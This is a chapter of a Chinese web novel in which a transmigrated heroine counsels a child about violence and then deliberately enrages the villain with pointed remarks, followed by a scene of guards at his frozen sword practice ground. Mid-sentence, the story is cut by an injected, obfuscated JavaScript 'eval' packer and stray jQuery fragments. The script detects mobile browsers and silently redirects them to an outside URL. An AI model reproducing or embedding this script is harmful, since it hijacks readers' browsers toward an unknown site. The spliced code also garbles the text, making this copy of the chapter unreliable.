70. 第 70 章

作品:《和反派一起搞事业

    阿狸进门后,正看到杨小姐在揉太阳穴,一脸痛苦烦恼的样子,忙闪身过去扶她。


    杨洁感到一双小手扶着自己的腰,力道平稳有劲,一点不比成年人差。


    她转头看去,小手的主人,圆亮的大眼里溢满了关心和担忧。


    这感情是如此真切。


    她眨眼润了一下有些疲累的双目,顺着阿狸的力道坐好,轻拍床沿示意她坐下。


    女孩之前在陆婶面前的表现,拜金蝶的同步音频传送,她全都看见了。


    此时,她百感交集,说不出话来。


    这个世界在她眼中越发清晰,连带着她不想去看的黑暗面,也一股脑摆在了她眼前。


    这就像强端上了一盘冲鼻重口的咖喱饭,她不吃会活活饿死,吃了却口唇发苦,肠胃不适。


    看到这些,她不得不反省:自己犯了一个穿越者常见的错误,把前世的经验套用在了这个完全不同的世界上。


    阿狸,哎,能在这样凶险环境中生存的阿狸,怎么可能只是一个单纯的孩子呢?


    许是她目光中的审视味明显了些,阿狸脸上表情呆住了,胡乱抹了两把脸问:“我、我脸上是不是脏了?”


    这脆弱的小表情,略带慌乱的语气,让她心头一阵发软,轻拍女孩肩膀,“没有。”


    阿狸立刻笑了起来。她没有笑,冷静地问:“阿狸,你匆匆出去干什么了?”


    “我去……”女孩紧捏着衣角,目光飘忽起来,看左右就是不看杨洁。


    “你就这样走了。”杨洁加重语气,“你知道,我当时有多担心吗?”


    听她这么一说,阿狸眼神失焦了,张了两次口又闭上。在她平静注视下,第三次张口时,终于劈里啪啦倒豆子一样把事情说出来。


    叙述前半段时,她语音还有些轻细,带着一点小心翼翼,不时偷瞥杨洁的反应。


    见杨洁面色平静,看不出怒意,她似放下心来,越说声音越大,带着一种理所当然的江湖气。


    说完,她紧盯着杨洁,浓密的眼睫毛颤动如蝶翼,似乎还有些不安。


    杨洁静静注视着她问:“阿狸,你认为你做得对吗?”


    “杨小姐,我难道真做错了吗?”阿狸语调陡然提高,“陆婶那样的小人,我不该出手教训吗?”


    杨洁摇头:“我无法给你评判。”


    “啊?”阿狸防御的姿势僵了一下,似没想到听到这样的回答。


    杨洁微笑道:“你为了维护我的名誉,帮我教训了诋毁我的陆婶。”


    “我若对此还说三道四,岂不是让真心为我的人寒心?”


    看到小女孩眉目舒展,松了一口气,她叹息道:“可是你这么做,我又很担心。”


    “杨小姐,你不用担心。”


    “我的心意拳现在已掌控熟练,只伤皮肉,不会出人命。”


    “陆婶欺软怕硬,揍她一顿就老实了。她不敢闹的,闹了死路一条。”


    听听,这是一个八岁小孩会说的话吗?阿狸太早熟了,大人若不好好引导,迟早成问题。


    杨洁轻点她额头,放软音调说:“傻孩子,我是担心她吗?我是在担心你。”


    “我?”


    杨洁肃容,“用武力解决问题,快捷而方便。”


    “人如果习惯了只靠武力来解决问题,就会懒于动脑,变得莽撞而危险。”


    阿狸眼珠子转了转,不确定地问:“可大人们……不都这么做的吗?”


    杨洁轻拍她小脑袋,轻笑道:“阿狸,你才见过多少人和事啊?这世界的人事纷繁复杂,很多都无法靠武力来解决。”


    “就拿陆婶来说吧,今次你打了她,虽然她表面屈服了。但是,她内心的想法肯定没变吧?”


    阿狸点头,“对,这妇人就是这么蠢!同样的错误,一犯再犯。”


    “的确,陆婶做人做事都很失败,已经完全丧失了自己的本心。”她摇头,“这样的母亲,怎能教养好子女?”


    这话刚落,金蝶就在脑中喊:“东方魔头来到我们门外,不知为什么情绪值陡升!”


    杨洁停下话语,手指轻敲被面,细想自己刚说的话,眼中若有所思。


    阿狸:“杨小姐,你说得不错。陆婶对二丫一点都不好,经常打骂她。”


    杨洁眼底闪过一丝冷光,传声金蝶,“监控他的情绪变化。”


    看了一眼紧闭的木门,她提高音量批判:“陆婶果然是一个懦弱无能的母亲!”


    “这女人遇人不淑,无力也不敢抗争,只能日日积累怨恨。”


    “无法排解这些坏情绪,她便把自己的不幸和痛苦,统统发泄到更弱小无助的孩子身上。”


    “这个坏女人!”阿狸咬牙切齿,握紧了双拳,“原来这才是她打骂二丫的原因。”


    金蝶这时惊呼:“他的情绪爆了!”


    杨洁心情瞬间飞扬,故意叹息道:“哎,这样的女人根本养不好孩子啊!”


    “最讽刺的是,她这种人养大的孩子,儿子会变成和她痛恨的男人一样,无情无义;女儿会变得和她一样,偏执又愚蠢。”


    “哇,他施展轻功离开了。”金蝶欢呼,“看来,情绪很激动!”


    这时,阿狸起身,神情焦急,“不行,我要去看看二丫怎么了。”


    “快去吧。”相信有机灵的阿狸在,应该能够解救那个可怜的孩子。


    等阿狸一走,杨洁伸了一个懒腰,掩嘴打了一个哈欠,闭目躺下休息。


    在她精神海中,金蝶像一只金色的快乐小鸟,围绕她亮银色的精神投影飞来飞去,撒下一串银铃般的笑声。


    “哈哈!小洁你没看到哦,东方魔头脸色铁青,眉头紧皱得能夹死苍蝇。”


    “他飞走前身子都在发颤,不知遇到了什么倒霉事?”


    “头回看到他吃瘪,我太高兴了!”


    杨洁看到这般呆的金蝶,扑哧一声笑了起来,笑得肩膀耸动,浑身颤-抖。


    再想想金蝶描述东方香主的那个生气样,她更忍不住哈哈笑起来,笑得直捶床板,眼角湿润。


    太爽了!


    她欢笑个不停,头一点不痛了。直到感到有细润发凉的水珠,落在了自己发热的脸上,她深吸口气冷静下来。


    睁开眼,她发现是从窗外飘进的细雨。这天气变化真快,之前还是艳阳天,转眼就变天了。


    “小洁,你说东方魔头会不会迁怒我们?”金蝶的声音透着些担忧。


    看来上次东方香主情绪暴动的事情,还是带给了它沉重的阴影。


    鞭声和惨叫声仿佛再次在耳边响起,血和檀木的混合味让她呼吸急促,脸色发冷。


    “不是迁怒!”


    “你监测到他情绪不对后,我立刻在心里推理揣测,故意说那些话气他。”


    “你怎么知道他会生气啊?”


    “一点常识加逻辑推理。一个如他这般阴冷的人,多半不会有幸福的童年。


    “没想到,这次还真命中了他的心理软肋。”杨洁冷笑,


    “这些诛心之言,是我送给他的礼物。这就当报仇前先收的一点利息吧。”


    说完,她感到更疲累了,忍不住再打了一个哈欠。这细雨来得正好,驱散了夏日炎热。她心情舒畅得像喝了一杯冰可乐。


    真累,她嘴角含笑沉入睡乡。


    同时,竹林深处,雨雪霏霏。


    周遭还是盛夏,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872420|188546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这里却步入寒秋。


    “哗、哗、哗、”剑啸声如惊涛拍案,连绵不绝。


    附近三位执勤的暗哨听得眼前发黑,直冒金花。


    他们吓得忙用帕子堵紧耳洞,还是感到心神不宁,气血上涌。


    三人赶紧运功调息,过了一会儿,感觉才好受了些,但浑身还是发凉。


    他们仔细观察,发现一阵阵阴冷寒潮以香主练剑处为中心点,不断向四面八方侵袭。


    肉眼可见,远近绿意慢慢染上白色。离得越近,白色越多。


    一个暗哨满脸惊叹,给蹲在前方树杈上的同伴打了一个手势。


    同伴立刻点头,摸了摸自己耳边翠叶上挂的白霜,触感似细沙摩-擦,却带着针尖锐利。


    他兴奋惊叹:“香主武功大进啊!”


    这声量稍大了一些。


    “闭嘴!”两声轻喝同时响起。


    隐藏在树叶中的那位还恶狠狠瞪着他,朝他比了一个割喉的手势。


    出声的人立刻醒悟,缩了缩脖子,不敢再说。


    他抬头看了一眼暗沉天色,摸着胳膊上新冒起的鸡皮疙瘩,在心中感叹:“这剑气杀意好浓啊!”


    还没到交班时间,暗哨们时刻警惕着周围动静,在树上坚守苦熬着,越来越感到阴冷压抑,只觉时间过得太慢了。


    “哇——!哇——!”


    两只乌鸦从昏黄斜阳边拍着翅膀,向远方飞去。


    竹林深处瞬间陷入冷寂。


    暗哨们刚松了口气,耳边就响起冰冷话语:“进去收拾一下。”


    “违规出声,事后到刑堂领罚。”


    “遵命,香主!”三人异口同声回应,跳下树单脚跪下,


    过了一会儿,一人抬头看了周围一眼,小声道:“喂,香主好像走了。”


    “香主走了,我怎么没听到?”另一人仍不敢抬头。


    最后一人站起身,嘲笑:“蠢,以他的轻功造诣,你能听到。”


    其他两人见状也跟着起身。三人飞纵跳跃着前进,很快来到了竹林深处——香主的练剑场。


    他们顿时惊呆了。


    竹子的残尸遍地都是。零碎竹片在地上铺了一层。竹片上凝结着厚厚霜花,闪着冰冷刺目的光。


    他们稍稍走进一点,浑身就仿佛被无数细剑刺中,感到又冷又痛。


    原来清场,才是真正的惩罚。


    三人对视一眼,苦笑着收拾起来。


    东方凛此时已回到自己居住的竹楼。他走在楼道里时,其他人都低头恭送,因此没发现他和平日的不同。


    黑石大步迎了上来,解释阿狸有事请假,让自己替她值守一会儿。


    东方凛眼底闪过一丝光芒,点头默许后继续向前走。


    他们走到灯笼下,黑石才发现香主的头发湿了紧贴在脸上,水顺着脖颈向下流。


    香主身上的黑袍也湿了,衣角滴着细小水珠在灯下闪光。


    他敲了一下自己的头,看着外面淅淅沥沥下个不停的小雨,暗骂自己的粗心,赶紧叫人去准备洗澡水。


    但他心中也奇怪:香主明明可以去室内练武场练剑,为什么让自己淋湿?且以香主的深厚内力,运气就可轻易蒸发身上水汽,为什么要这样?


    可香主一直沉默不语,他也不好越矩多问,只能默默跟着香主。


    快走到香主卧室了,黑石正待离开,听到香主低沉的声音。


    “杨小姐,还好吗?”


    黑石挠了挠头,苦恼地说:“属下不清楚。阿狸不在,嘱托一个厨娘去送饭。”


    “可那人说杨小姐从午后一直昏睡未醒。”


    东方凛眉毛一挑,转身向客房走去。